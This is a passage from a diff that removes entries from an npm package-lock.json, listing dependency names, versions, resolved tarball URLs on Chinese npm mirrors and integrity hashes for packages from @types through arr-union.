-      "resolved": "https://registry.nlark.com/@types/prop-types/download/@types/prop-types-15.7.3.tgz?cache=0&sync_timestamp=1621242237823&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40types%2Fprop-types%2Fdownload%2F%40types%2Fprop-types-15.7.3.tgz",
-      "integrity": "sha1-KrDV2i5YFflLC51LldHl8kOrLKc="
-    },
-    "@types/q": {
-      "version": "1.5.4",
-      "resolved": "https://registry.nlark.com/@types/q/download/@types/q-1.5.4.tgz?cache=0&sync_timestamp=1621242400776&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40types%2Fq%2Fdownload%2F%40types%2Fq-1.5.4.tgz",
-      "integrity": "sha1-FZJUFOCtLNdlv+9YhC9+JqesyyQ="
-    },
-    "@types/react": {
-      "version": "17.0.9",
-      "resolved": "https://registry.nlark.com/@types/react/download/@types/react-17.0.9.tgz?cache=0&sync_timestamp=1622599450864&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40types%2Freact%2Fdownload%2F%40types%2Freact-17.0.9.tgz",
-      "integrity": "sha1-EUf7UgAkpiybOEH1y024m3PduH8=",
-      "requires": {
-        "@types/prop-types": "*",
-        "@types/scheduler": "*",
-        "csstype": "^3.0.2"
-      }
-    },
-    "@types/react-transition-group": {
-      "version": "4.4.1",
-      "resolved": "https://registry.nlark.com/@types/react-transition-group/download/@types/react-transition-group-4.4.1.tgz",
-      "integrity": "sha1-4aPLJ4339H8XtQgrGz2hcXC9RLE=",
-      "requires": {
-        "@types/react": "*"
-      }
-    },
-    "@types/resolve": {
-      "version": "0.0.8",
-      "resolved": "https://registry.nlark.com/@types/resolve/download/@types/resolve-0.0.8.tgz?cache=0&sync_timestamp=1621242543115&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40types%2Fresolve%2Fdownload%2F%40types%2Fresolve-0.0.8.tgz",
-      "integrity": "sha1-8mB00jjgJlnjI84aE9BB7uKA4ZQ=",
-      "requires": {
-        "@types/node": "*"
-      }
-    },
-    "@types/scheduler": {
-      "version": "0.16.1",
-      "resolved": "https://registry.nlark.com/@types/scheduler/download/@types/scheduler-0.16.1.tgz?cache=0&sync_timestamp=1621242658440&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40types%2Fscheduler%2Fdownload%2F%40types%2Fscheduler-0.16.1.tgz",
-      "integrity": "sha1-GIRSBehv8AOFF6q3oYpiprn3EnU="
-    },
-    "@types/source-list-map": {
-      "version": "0.1.2",
-      "resolved": "https://registry.nlark.com/@types/source-list-map/download/@types/source-list-map-0.1.2.tgz",
-      "integrity": "sha1-AHiDYGP/rxdBI0m7o2QIfgrALsk="
-    },
-    "@types/stack-utils": {
-      "version": "2.0.0",
-      "resolved": "https://registry.nlark.com/@types/stack-utils/download/@types/stack-utils-2.0.0.tgz",
-      "integrity": "sha1-cDZkC04hzC8lmugmzoQ9J32tjP8="
-    },
-    "@types/tapable": {
-      "version": "1.0.7",
-      "resolved": "https://registry.nlark.com/@types/tapable/download/@types/tapable-1.0.7.tgz?cache=0&sync_timestamp=1621243847095&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40types%2Ftapable%2Fdownload%2F%40types%2Ftapable-1.0.7.tgz",
-      "integrity": "sha1-VFFYNC+Uno/Tv9gTIklx7N3D+sQ="
-    },
-    "@types/testing-library__jest-dom": {
-      "version": "5.9.5",
-      "resolved": "https://registry.nlark.com/@types/testing-library__jest-dom/download/@types/testing-library__jest-dom-5.9.5.tgz?cache=0&sync_timestamp=1621244003851&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40types%2Ftesting-library__jest-dom%2Fdownload%2F%40types%2Ftesting-library__jest-dom-5.9.5.tgz",
-      "integrity": "sha1-W/Jcka0tezjyZLEideXJKmbYSbA=",
-      "requires": {
-        "@types/jest": "*"
-      }
-    },
-    "@types/uglify-js": {
-      "version": "3.13.0",
-      "resolved": "https://registry.nlark.com/@types/uglify-js/download/@types/uglify-js-3.13.0.tgz?cache=0&sync_timestamp=1621243851839&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40types%2Fuglify-js%2Fdownload%2F%40types%2Fuglify-js-3.13.0.tgz",
-      "integrity": "sha1-HK2N8fsLFDxaugjeVxLqnR/3ESQ=",
-      "requires": {
-        "source-map": "^0.6.1"
-      }
-    },
-    "@types/warning": {
-      "version": "3.0.0",
-      "resolved": "https://registry.nlark.com/@types/warning/download/@types/warning-3.0.0.tgz?cache=0&sync_timestamp=1621244066786&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40types%2Fwarning%2Fdownload%2F%40types%2Fwarning-3.0.0.tgz",
-      "integrity": "sha1-DSUBJorY+ZYrdA04fEZU9fjiPlI="
-    },
-    "@types/webpack": {
-      "version": "4.41.29",
-      "resolved": "https://registry.nlark.com/@types/webpack/download/@types/webpack-4.41.29.tgz",
-      "integrity": "sha1-LmbB3oIjxEA2ZGlBXFCkfZdiV3M=",
-      "requires": {
-        "@types/node": "*",
-        "@types/tapable": "^1",
-        "@types/uglify-js": "*",
-        "@types/webpack-sources": "*",
-        "anymatch": "^3.0.0",
-        "source-map": "^0.6.0"
-      }
-    },
-    "@types/webpack-sources": {
-      "version": "2.1.0",
-      "resolved": "https://registry.nlark.com/@types/webpack-sources/download/@types/webpack-sources-2.1.0.tgz?cache=0&sync_timestamp=1621243863278&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40types%2Fwebpack-sources%2Fdownload%2F%40types%2Fwebpack-sources-2.1.0.tgz",
-      "integrity": "sha1-iIKwvWLR4M5i8YPQ0Bty5ugujBA=",
-      "requires": {
-        "@types/node": "*",
-        "@types/source-list-map": "*",
-        "source-map": "^0.7.3"
-      },
-      "dependencies": {
-        "source-map": {
-          "version": "0.7.3",
-          "resolved": "https://registry.npm.taobao.org/source-map/download/source-map-0.7.3.tgz",
-          "integrity": "sha1-UwL4FpAxc1ImVECS5kmB91F1A4M="
-        }
-      }
-    },
-    "@types/yargs": {
-      "version": "15.0.13",
-      "resolved": "https://registry.nlark.com/@types/yargs/download/@types/yargs-15.0.13.tgz?cache=0&sync_timestamp=1621593435560&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40types%2Fyargs%2Fdownload%2F%40types%2Fyargs-15.0.13.tgz",
-      "integrity": "sha1-NPf+yLOJ1/PB/QgCaldj4HLTxtw=",
-      "requires": {
-        "@types/yargs-parser": "*"
-      }
-    },
-    "@types/yargs-parser": {
-      "version": "20.2.0",
-      "resolved": "https://registry.nlark.com/@types/yargs-parser/download/@types/yargs-parser-20.2.0.tgz",
-      "integrity": "sha1-3T5mmboyN/A0jNCF5GmHgCBIQvk="
-    },
-    "@typescript-eslint/eslint-plugin": {
-      "version": "4.26.0",
-      "resolved": "https://registry.nlark.com/@typescript-eslint/eslint-plugin/download/@typescript-eslint/eslint-plugin-4.26.0.tgz",
-      "integrity": "sha1-ErvW69Xn+r0y5I4eYO+h81VKMkI=",
-      "requires": {
-        "@typescript-eslint/experimental-utils": "4.26.0",
-        "@typescript-eslint/scope-manager": "4.26.0",
-        "debug": "^4.3.1",
-        "functional-red-black-tree": "^1.0.1",
-        "lodash": "^4.17.21",
-        "regexpp": "^3.1.0",
-        "semver": "^7.3.5",
-        "tsutils": "^3.21.0"
-      },
-      "dependencies": {
-        "semver": {
-          "version": "7.3.5",
-          "resolved": "https://registry.nlark.com/semver/download/semver-7.3.5.tgz?cache=0&sync_timestamp=1618847017123&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fsemver%2Fdownload%2Fsemver-7.3.5.tgz",
-          "integrity": "sha1-C2Ich5NI2JmOSw5L6Us/EuYBjvc=",
-          "requires": {
-            "lru-cache": "^6.0.0"
-          }
-        }
-      }
-    },
-    "@typescript-eslint/experimental-utils": {
-      "version": "4.26.0",
-      "resolved": "https://registry.nlark.com/@typescript-eslint/experimental-utils/download/@typescript-eslint/experimental-utils-4.26.0.tgz",
-      "integrity": "sha1-unhIs/CIZZzfcbziJFR5X8Vb6Zo=",
-      "requires": {
-        "@types/json-schema": "^7.0.7",
-        "@typescript-eslint/scope-manager": "4.26.0",
-        "@typescript-eslint/types": "4.26.0",
-        "@typescript-eslint/typescript-estree": "4.26.0",
-        "eslint-scope": "^5.1.1",
-        "eslint-utils": "^3.0.0"
-      }
-    },
-    "@typescript-eslint/parser": {
-      "version": "4.26.0",
-      "resolved": "https://registry.nlark.com/@typescript-eslint/parser/download/@typescript-eslint/parser-4.26.0.tgz?cache=0&sync_timestamp=1623010265066&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40typescript-eslint%2Fparser%2Fdownload%2F%40typescript-eslint%2Fparser-4.26.0.tgz",
-      "integrity": "sha1-Mba3MslFT3V7Ag2rm2dUESql7q8=",
-      "requires": {
-        "@typescript-eslint/scope-manager": "4.26.0",
-        "@typescript-eslint/types": "4.26.0",
-        "@typescript-eslint/typescript-estree": "4.26.0",
-        "debug": "^4.3.1"
-      }
-    },
-    "@typescript-eslint/scope-manager": {
-      "version": "4.26.0",
-      "resolved": "https://registry.nlark.com/@typescript-eslint/scope-manager/download/@typescript-eslint/scope-manager-4.26.0.tgz?cache=0&sync_timestamp=1623015538411&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40typescript-eslint%2Fscope-manager%2Fdownload%2F%40typescript-eslint%2Fscope-manager-4.26.0.tgz",
-      "integrity": "sha1-YNGnHfFiQE6VS50cY0P/O+5JYZQ=",
-      "requires": {
-        "@typescript-eslint/types": "4.26.0",
-        "@typescript-eslint/visitor-keys": "4.26.0"
-      }
-    },
-    "@typescript-eslint/types": {
-      "version": "4.26.0",
-      "resolved": "https://registry.nlark.com/@typescript-eslint/types/download/@typescript-eslint/types-4.26.0.tgz",
-      "integrity": "sha1-fGcywEFPCmlZX0+Ebr4SYWJD1UY="
-    },
-    "@typescript-eslint/typescript-estree": {
-      "version": "4.26.0",
-      "resolved": "https://registry.nlark.com/@typescript-eslint/typescript-estree/download/@typescript-eslint/typescript-estree-4.26.0.tgz",
-      "integrity": "sha1-rqF6QOYtwxxj1bG76adXg/LOcQk=",
-      "requires": {
-        "@typescript-eslint/types": "4.26.0",
-        "@typescript-eslint/visitor-keys": "4.26.0",
-        "debug": "^4.3.1",
-        "globby": "^11.0.3",
-        "is-glob": "^4.0.1",
-        "semver": "^7.3.5",
-        "tsutils": "^3.21.0"
-      },
-      "dependencies": {
-        "semver": {
-          "version": "7.3.5",
-          "resolved": "https://registry.nlark.com/semver/download/semver-7.3.5.tgz?cache=0&sync_timestamp=1618847017123&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fsemver%2Fdownload%2Fsemver-7.3.5.tgz",
-          "integrity": "sha1-C2Ich5NI2JmOSw5L6Us/EuYBjvc=",
-          "requires": {
-            "lru-cache": "^6.0.0"
-          }
-        }
-      }
-    },
-    "@typescript-eslint/visitor-keys": {
-      "version": "4.26.0",
-      "resolved": "https://registry.nlark.com/@typescript-eslint/visitor-keys/download/@typescript-eslint/visitor-keys-4.26.0.tgz",
-      "integrity": "sha1-JtJYMWkiKBW+Tc0dpP5UWbw7zCM=",
-      "requires": {
-        "@typescript-eslint/types": "4.26.0",
-        "eslint-visitor-keys": "^2.0.0"
-      }
-    },
-    "@webassemblyjs/ast": {
-      "version": "1.9.0",
-      "resolved": "https://registry.npm.taobao.org/@webassemblyjs/ast/download/@webassemblyjs/ast-1.9.0.tgz",
-      "integrity": "sha1-vYUGBLQEJFmlpBzX0zjL7Wle2WQ=",
-      "requires": {
-        "@webassemblyjs/helper-module-context": "1.9.0",
-        "@webassemblyjs/helper-wasm-bytecode": "1.9.0",
-        "@webassemblyjs/wast-parser": "1.9.0"
-      }
-    },
-    "@webassemblyjs/floating-point-hex-parser": {
-      "version": "1.9.0",
-      "resolved": "https://registry.npm.taobao.org/@webassemblyjs/floating-point-hex-parser/download/@webassemblyjs/floating-point-hex-parser-1.9.0.tgz?cache=0&sync_timestamp=1610044909971&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40webassemblyjs%2Ffloating-point-hex-parser%2Fdownload%2F%40webassemblyjs%2Ffloating-point-hex-parser-1.9.0.tgz",
-      "integrity": "sha1-PD07Jxvd/ITesA9xNEQ4MR1S/7Q="
-    },
-    "@webassemblyjs/helper-api-error": {
-      "version": "1.9.0",
-      "resolved": "https://registry.npm.taobao.org/@webassemblyjs/helper-api-error/download/@webassemblyjs/helper-api-error-1.9.0.tgz?cache=0&sync_timestamp=1610041208312&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40webassemblyjs%2Fhelper-api-error%2Fdownload%2F%40webassemblyjs%2Fhelper-api-error-1.9.0.tgz",
-      "integrity": "sha1-ID9nbjM7lsnaLuqzzO8zxFkotqI="
-    },
-    "@webassemblyjs/helper-buffer": {
-      "version": "1.9.0",
-      "resolved": "https://registry.npm.taobao.org/@webassemblyjs/helper-buffer/download/@webassemblyjs/helper-buffer-1.9.0.tgz",
-      "integrity": "sha1-oUQtJpxf6yP8vJ73WdrDVH8p3gA="
-    },
-    "@webassemblyjs/helper-code-frame": {
-      "version": "1.9.0",
-      "resolved": "https://registry.npm.taobao.org/@webassemblyjs/helper-code-frame/download/@webassemblyjs/helper-code-frame-1.9.0.tgz",
-      "integrity": "sha1-ZH+Iks0gQ6gqwMjF51w28dkVnyc=",
-      "requires": {
-        "@webassemblyjs/wast-printer": "1.9.0"
-      }
-    },
-    "@webassemblyjs/helper-fsm": {
-      "version": "1.9.0",
-      "resolved": "https://registry.npm.taobao.org/@webassemblyjs/helper-fsm/download/@webassemblyjs/helper-fsm-1.9.0.tgz",
-      "integrity": "sha1-wFJWtxJEIUZx9LCOwQitY7cO3bg="
-    },
-    "@webassemblyjs/helper-module-context": {
-      "version": "1.9.0",
-      "resolved": "https://registry.npm.taobao.org/@webassemblyjs/helper-module-context/download/@webassemblyjs/helper-module-context-1.9.0.tgz",
-      "integrity": "sha1-JdiIS3aDmHGgimxvgGw5ee9xLwc=",
-      "requires": {
-        "@webassemblyjs/ast": "1.9.0"
-      }
-    },
-    "@webassemblyjs/helper-wasm-bytecode": {
-      "version": "1.9.0",
-      "resolved": "https://registry.npm.taobao.org/@webassemblyjs/helper-wasm-bytecode/download/@webassemblyjs/helper-wasm-bytecode-1.9.0.tgz?cache=0&sync_timestamp=1610041207935&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40webassemblyjs%2Fhelper-wasm-bytecode%2Fdownload%2F%40webassemblyjs%2Fhelper-wasm-bytecode-1.9.0.tgz",
-      "integrity": "sha1-T+2L6sm4wU+MWLcNEk1UndH+V5A="
-    },
-    "@webassemblyjs/helper-wasm-section": {
-      "version": "1.9.0",
-      "resolved": "https://registry.npm.taobao.org/@webassemblyjs/helper-wasm-section/download/@webassemblyjs/helper-wasm-section-1.9.0.tgz?cache=0&sync_timestamp=1610043135816&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40webassemblyjs%2Fhelper-wasm-section%2Fdownload%2F%40webassemblyjs%2Fhelper-wasm-section-1.9.0.tgz",
-      "integrity": "sha1-WkE41aYpK6GLBMWuSXF+QWeWU0Y=",
-      "requires": {
-        "@webassemblyjs/ast": "1.9.0",
-        "@webassemblyjs/helper-buffer": "1.9.0",
-        "@webassemblyjs/helper-wasm-bytecode": "1.9.0",
-        "@webassemblyjs/wasm-gen": "1.9.0"
-      }
-    },
-    "@webassemblyjs/ieee754": {
-      "version": "1.9.0",
-      "resolved": "https://registry.npm.taobao.org/@webassemblyjs/ieee754/download/@webassemblyjs/ieee754-1.9.0.tgz?cache=0&sync_timestamp=1610041205525&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40webassemblyjs%2Fieee754%2Fdownload%2F%40webassemblyjs%2Fieee754-1.9.0.tgz",
-      "integrity": "sha1-Fceg+6roP7JhQ7us9tbfFwKtOeQ=",
-      "requires": {
-        "@xtuc/ieee754": "^1.2.0"
-      }
-    },
-    "@webassemblyjs/leb128": {
-      "version": "1.9.0",
-      "resolved": "https://registry.npm.taobao.org/@webassemblyjs/leb128/download/@webassemblyjs/leb128-1.9.0.tgz?cache=0&sync_timestamp=1610041205334&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40webassemblyjs%2Fleb128%2Fdownload%2F%40webassemblyjs%2Fleb128-1.9.0.tgz",
-      "integrity": "sha1-8Zygt2ptxVYjoJz/p2noOPoeHJU=",
-      "requires": {
-        "@xtuc/long": "4.2.2"
-      }
-    },
-    "@webassemblyjs/utf8": {
-      "version": "1.9.0",
-      "resolved": "https://registry.npm.taobao.org/@webassemblyjs/utf8/download/@webassemblyjs/utf8-1.9.0.tgz?cache=0&sync_timestamp=1610041205627&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40webassemblyjs%2Futf8%2Fdownload%2F%40webassemblyjs%2Futf8-1.9.0.tgz",
-      "integrity": "sha1-BNM7Y2945qaBMifoJAL3Y3tiKas="
-    },
-    "@webassemblyjs/wasm-edit": {
-      "version": "1.9.0",
-      "resolved": "https://registry.npm.taobao.org/@webassemblyjs/wasm-edit/download/@webassemblyjs/wasm-edit-1.9.0.tgz",
-      "integrity": "sha1-P+bXnT8PkiGDqoYALELdJWz+6c8=",
-      "requires": {
-        "@webassemblyjs/ast": "1.9.0",
-        "@webassemblyjs/helper-buffer": "1.9.0",
-        "@webassemblyjs/helper-wasm-bytecode": "1.9.0",
-        "@webassemblyjs/helper-wasm-section": "1.9.0",
-        "@webassemblyjs/wasm-gen": "1.9.0",
-        "@webassemblyjs/wasm-opt": "1.9.0",
-        "@webassemblyjs/wasm-parser": "1.9.0",
-        "@webassemblyjs/wast-printer": "1.9.0"
-      }
-    },
-    "@webassemblyjs/wasm-gen": {
-      "version": "1.9.0",
-      "resolved": "https://registry.npm.taobao.org/@webassemblyjs/wasm-gen/download/@webassemblyjs/wasm-gen-1.9.0.tgz",
-      "integrity": "sha1-ULxw7Gje2OJ2OwGhQYv0NJGnpJw=",
-      "requires": {
-        "@webassemblyjs/ast": "1.9.0",
-        "@webassemblyjs/helper-wasm-bytecode": "1.9.0",
-        "@webassemblyjs/ieee754": "1.9.0",
-        "@webassemblyjs/leb128": "1.9.0",
-        "@webassemblyjs/utf8": "1.9.0"
-      }
-    },
-    "@webassemblyjs/wasm-opt": {
-      "version": "1.9.0",
-      "resolved": "https://registry.npm.taobao.org/@webassemblyjs/wasm-opt/download/@webassemblyjs/wasm-opt-1.9.0.tgz?cache=0&sync_timestamp=1610041206776&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40webassemblyjs%2Fwasm-opt%2Fdownload%2F%40webassemblyjs%2Fwasm-opt-1.9.0.tgz",
-      "integrity": "sha1-IhEYHlsxMmRDzIES658LkChyGmE=",
-      "requires": {
-        "@webassemblyjs/ast": "1.9.0",
-        "@webassemblyjs/helper-buffer": "1.9.0",
-        "@webassemblyjs/wasm-gen": "1.9.0",
-        "@webassemblyjs/wasm-parser": "1.9.0"
-      }
-    },
-    "@webassemblyjs/wasm-parser": {
-      "version": "1.9.0",
-      "resolved": "https://registry.npm.taobao.org/@webassemblyjs/wasm-parser/download/@webassemblyjs/wasm-parser-1.9.0.tgz",
-      "integrity": "sha1-nUjkSCbfSmWYKUqmyHRp1kL/9l4=",
-      "requires": {
-        "@webassemblyjs/ast": "1.9.0",
-        "@webassemblyjs/helper-api-error": "1.9.0",
-        "@webassemblyjs/helper-wasm-bytecode": "1.9.0",
-        "@webassemblyjs/ieee754": "1.9.0",
-        "@webassemblyjs/leb128": "1.9.0",
-        "@webassemblyjs/utf8": "1.9.0"
-      }
-    },
-    "@webassemblyjs/wast-parser": {
-      "version": "1.9.0",
-      "resolved": "https://registry.npm.taobao.org/@webassemblyjs/wast-parser/download/@webassemblyjs/wast-parser-1.9.0.tgz",
-      "integrity": "sha1-MDERXXmsW9JhVWzsw/qQo+9FGRQ=",
-      "requires": {
-        "@webassemblyjs/ast": "1.9.0",
-        "@webassemblyjs/floating-point-hex-parser": "1.9.0",
-        "@webassemblyjs/helper-api-error": "1.9.0",
-        "@webassemblyjs/helper-code-frame": "1.9.0",
-        "@webassemblyjs/helper-fsm": "1.9.0",
-        "@xtuc/long": "4.2.2"
-      }
-    },
-    "@webassemblyjs/wast-printer": {
-      "version": "1.9.0",
-      "resolved": "https://registry.npm.taobao.org/@webassemblyjs/wast-printer/download/@webassemblyjs/wast-printer-1.9.0.tgz",
-      "integrity": "sha1-STXVTIX+9jewDOn1I3dFHQDUeJk=",
-      "requires": {
-        "@webassemblyjs/ast": "1.9.0",
-        "@webassemblyjs/wast-parser": "1.9.0",
-        "@xtuc/long": "4.2.2"
-      }
-    },
-    "@xtuc/ieee754": {
-      "version": "1.2.0",
-      "resolved": "https://registry.npm.taobao.org/@xtuc/ieee754/download/@xtuc/ieee754-1.2.0.tgz",
-      "integrity": "sha1-7vAUoxRa5Hehy8AM0eVSM23Ot5A="
-    },
-    "@xtuc/long": {
-      "version": "4.2.2",
-      "resolved": "https://registry.npm.taobao.org/@xtuc/long/download/@xtuc/long-4.2.2.tgz",
-      "integrity": "sha1-0pHGpOl5ibXGHZrPOWrk/hM6cY0="
-    },
-    "abab": {
-      "version": "2.0.5",
-      "resolved": "https://registry.npm.taobao.org/abab/download/abab-2.0.5.tgz",
-      "integrity": "sha1-wLZ4+zLWD8EhnHhNaoJv44Wut5o="
-    },
-    "accepts": {
-      "version": "1.3.7",
-      "resolved": "https://registry.npm.taobao.org/accepts/download/accepts-1.3.7.tgz",
-      "integrity": "sha1-UxvHJlF6OytB+FACHGzBXqq1B80=",
-      "requires": {
-        "mime-types": "~2.1.24",
-        "negotiator": "0.6.2"
-      }
-    },
-    "acorn": {
-      "version": "7.4.1",
-      "resolved": "https://registry.nlark.com/acorn/download/acorn-7.4.1.tgz?cache=0&sync_timestamp=1622440161899&other_urls=https%3A%2F%2Fregistry.nlark.com%2Facorn%2Fdownload%2Facorn-7.4.1.tgz",
-      "integrity": "sha1-/q7SVZc9LndVW4PbwIhRpsY1IPo="
-    },
-    "acorn-globals": {
-      "version": "6.0.0",
-      "resolved": "https://registry.nlark.com/acorn-globals/download/acorn-globals-6.0.0.tgz",
-      "integrity": "sha1-Rs3Tnw+P8IqHZhm1X1rIptx3C0U=",
-      "requires": {
-        "acorn": "^7.1.1",
-        "acorn-walk": "^7.1.1"
-      }
-    },
-    "acorn-jsx": {
-      "version": "5.3.1",
-      "resolved": "https://registry.npm.taobao.org/acorn-jsx/download/acorn-jsx-5.3.1.tgz",
-      "integrity": "sha1-/IZh4Rt6wVOcR9v+oucrOvNNJns="
-    },
-    "acorn-walk": {
-      "version": "7.2.0",
-      "resolved": "https://registry.nlark.com/acorn-walk/download/acorn-walk-7.2.0.tgz",
-      "integrity": "sha1-DeiJpgEgOQmw++B7iTjcIdLpZ7w="
-    },
-    "address": {
-      "version": "1.1.2",
-      "resolved": "https://registry.npm.taobao.org/address/download/address-1.1.2.tgz",
-      "integrity": "sha1-vxEWycdYxRt6kz0pa3LCIe2UKLY="
-    },
-    "adjust-sourcemap-loader": {
-      "version": "3.0.0",
-      "resolved": "https://registry.npm.taobao.org/adjust-sourcemap-loader/download/adjust-sourcemap-loader-3.0.0.tgz",
-      "integrity": "sha1-WuEvtbexxYXoC7taY+wWOhpF5h4=",
-      "requires": {
-        "loader-utils": "^2.0.0",
-        "regex-parser": "^2.2.11"
-      }
-    },
-    "agent-base": {
-      "version": "6.0.2",
-      "resolved": "https://registry.npm.taobao.org/agent-base/download/agent-base-6.0.2.tgz?cache=0&sync_timestamp=1603479960600&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fagent-base%2Fdownload%2Fagent-base-6.0.2.tgz",
-      "integrity": "sha1-Sf/1hXfP7j83F2/qtMIuAPhtf3c=",
-      "requires": {
-        "debug": "4"
-      }
-    },
-    "aggregate-error": {
-      "version": "3.1.0",
-      "resolved": "https://registry.npm.taobao.org/aggregate-error/download/aggregate-error-3.1.0.tgz?cache=0&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Faggregate-error%2Fdownload%2Faggregate-error-3.1.0.tgz",
-      "integrity": "sha1-kmcP9Q9TWb23o+DUDQ7DDFc3aHo=",
-      "requires": {
-        "clean-stack": "^2.0.0",
-        "indent-string": "^4.0.0"
-      }
-    },
-    "ajv": {
-      "version": "6.12.6",
-      "resolved": "https://registry.nlark.com/ajv/download/ajv-6.12.6.tgz",
-      "integrity": "sha1-uvWmLoArB9l3A0WG+MO69a3ybfQ=",
-      "requires": {
-        "fast-deep-equal": "^3.1.1",
-        "fast-json-stable-stringify": "^2.0.0",
-        "json-schema-traverse": "^0.4.1",
-        "uri-js": "^4.2.2"
-      }
-    },
-    "ajv-errors": {
-      "version": "1.0.1",
-      "resolved": "https://registry.npm.taobao.org/ajv-errors/download/ajv-errors-1.0.1.tgz",
-      "integrity": "sha1-81mGrOuRr63sQQL72FAUlQzvpk0="
-    },
-    "ajv-keywords": {
-      "version": "3.5.2",
-      "resolved": "https://registry.npm.taobao.org/ajv-keywords/download/ajv-keywords-3.5.2.tgz?cache=0&sync_timestamp=1616882351228&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fajv-keywords%2Fdownload%2Fajv-keywords-3.5.2.tgz",
-      "integrity": "sha1-MfKdpatuANHC0yms97WSlhTVAU0="
-    },
-    "alphanum-sort": {
-      "version": "1.0.2",
-      "resolved": "https://registry.npm.taobao.org/alphanum-sort/download/alphanum-sort-1.0.2.tgz",
-      "integrity": "sha1-l6ERlkmyEa0zaR2fn0hqjsn74KM="
-    },
-    "ansi-colors": {
-      "version": "4.1.1",
-      "resolved": "https://registry.npm.taobao.org/ansi-colors/download/ansi-colors-4.1.1.tgz",
-      "integrity": "sha1-y7muJWv3UK8eqzRPIpqif+lLo0g="
-    },
-    "ansi-escapes": {
-      "version": "4.3.2",
-      "resolved": "https://registry.npm.taobao.org/ansi-escapes/download/ansi-escapes-4.3.2.tgz?cache=0&sync_timestamp=1618723616144&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fansi-escapes%2Fdownload%2Fansi-escapes-4.3.2.tgz",
-      "integrity": "sha1-ayKR0dt9mLZSHV8e+kLQ86n+tl4=",
-      "requires": {
-        "type-fest": "^0.21.3"
-      },
-      "dependencies": {
-        "type-fest": {
-          "version": "0.21.3",
-          "resolved": "https://registry.nlark.com/type-fest/download/type-fest-0.21.3.tgz?cache=0&sync_timestamp=1622543370439&other_urls=https%3A%2F%2Fregistry.nlark.com%2Ftype-fest%2Fdownload%2Ftype-fest-0.21.3.tgz",
-          "integrity": "sha1-0mCiSwGYQ24TP6JqUkptZfo7Ljc="
-        }
-      }
-    },
-    "ansi-html": {
-      "version": "0.0.7",
-      "resolved": "https://registry.npm.taobao.org/ansi-html/download/ansi-html-0.0.7.tgz",
-      "integrity": "sha1-gTWEAhliqenm/QOflA0S9WynhZ4="
-    },
-    "ansi-regex": {
-      "version": "5.0.0",
-      "resolved": "https://registry.npm.taobao.org/ansi-regex/download/ansi-regex-5.0.0.tgz",
-      "integrity": "sha1-OIU59VF5vzkznIGvMKZU1p+Hy3U="
-    },
-    "ansi-styles": {
-      "version": "4.3.0",
-      "resolved": "https://registry.nlark.com/ansi-styles/download/ansi-styles-4.3.0.tgz",
-      "integrity": "sha1-7dgDYornHATIWuegkG7a00tkiTc=",
-      "requires": {
-        "color-convert": "^2.0.1"
-      },
-      "dependencies": {
-        "color-convert": {
-          "version": "2.0.1",
-          "resolved": "https://registry.npm.taobao.org/color-convert/download/color-convert-2.0.1.tgz",
-          "integrity": "sha1-ctOmjVmMm9s68q0ehPIdiWq9TeM=",
-          "requires": {
-            "color-name": "~1.1.4"
-          }
-        }
-      }
-    },
-    "anymatch": {
-      "version": "3.1.2",
-      "resolved": "https://registry.npm.taobao.org/anymatch/download/anymatch-3.1.2.tgz?cache=0&sync_timestamp=1617747502795&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fanymatch%2Fdownload%2Fanymatch-3.1.2.tgz",
-      "integrity": "sha1-wFV8CWrzLxBhmPT04qODU343hxY=",
-      "requires": {
-        "normalize-path": "^3.0.0",
-        "picomatch": "^2.0.4"
-      }
-    },
-    "aproba": {
-      "version": "1.2.0",
-      "resolved": "https://registry.nlark.com/aproba/download/aproba-1.2.0.tgz",
-      "integrity": "sha1-aALmJk79GMeQobDVF/DyYnvyyUo="
-    },
-    "argparse": {
-      "version": "1.0.10",
-      "resolved": "https://registry.npm.taobao.org/argparse/download/argparse-1.0.10.tgz",
-      "integrity": "sha1-vNZ5HqWuCXJeF+WtmIE0zUCz2RE=",
-      "requires": {
-        "sprintf-js": "~1.0.2"
-      }
-    },
-    "aria-query": {
-      "version": "4.2.2",
-      "resolved": "https://registry.npm.taobao.org/aria-query/download/aria-query-4.2.2.tgz",
-      "integrity": "sha1-DSymyazrVriXfp/tau1+FbvS+Ds=",
-      "requires": {
-        "@babel/runtime": "^7.10.2",
-        "@babel/runtime-corejs3": "^7.10.2"
-      }
-    },
-    "arity-n": {
-      "version": "1.0.4",
-      "resolved": "https://registry.npm.taobao.org/arity-n/download/arity-n-1.0.4.tgz",
-      "integrity": "sha1-2edrEXM+CFacCEeuezmyhgswt0U="
-    },
-    "arr-diff": {
-      "version": "4.0.0",
-      "resolved": "https://registry.npm.taobao.org/arr-diff/download/arr-diff-4.0.0.tgz",
-      "integrity": "sha1-1kYQdP6/7HHn4VI1dhoyml3HxSA="
-    },
-    "arr-flatten": {
-      "version": "1.1.0",
-      "resolved": "https://registry.npm.taobao.org/arr-flatten/download/arr-flatten-1.1.0.tgz",
-      "integrity": "sha1-NgSLv/TntH4TZkQxbJlmnqWukfE="
-    },
-    "arr-union": {
-      "version": "3.1.0",
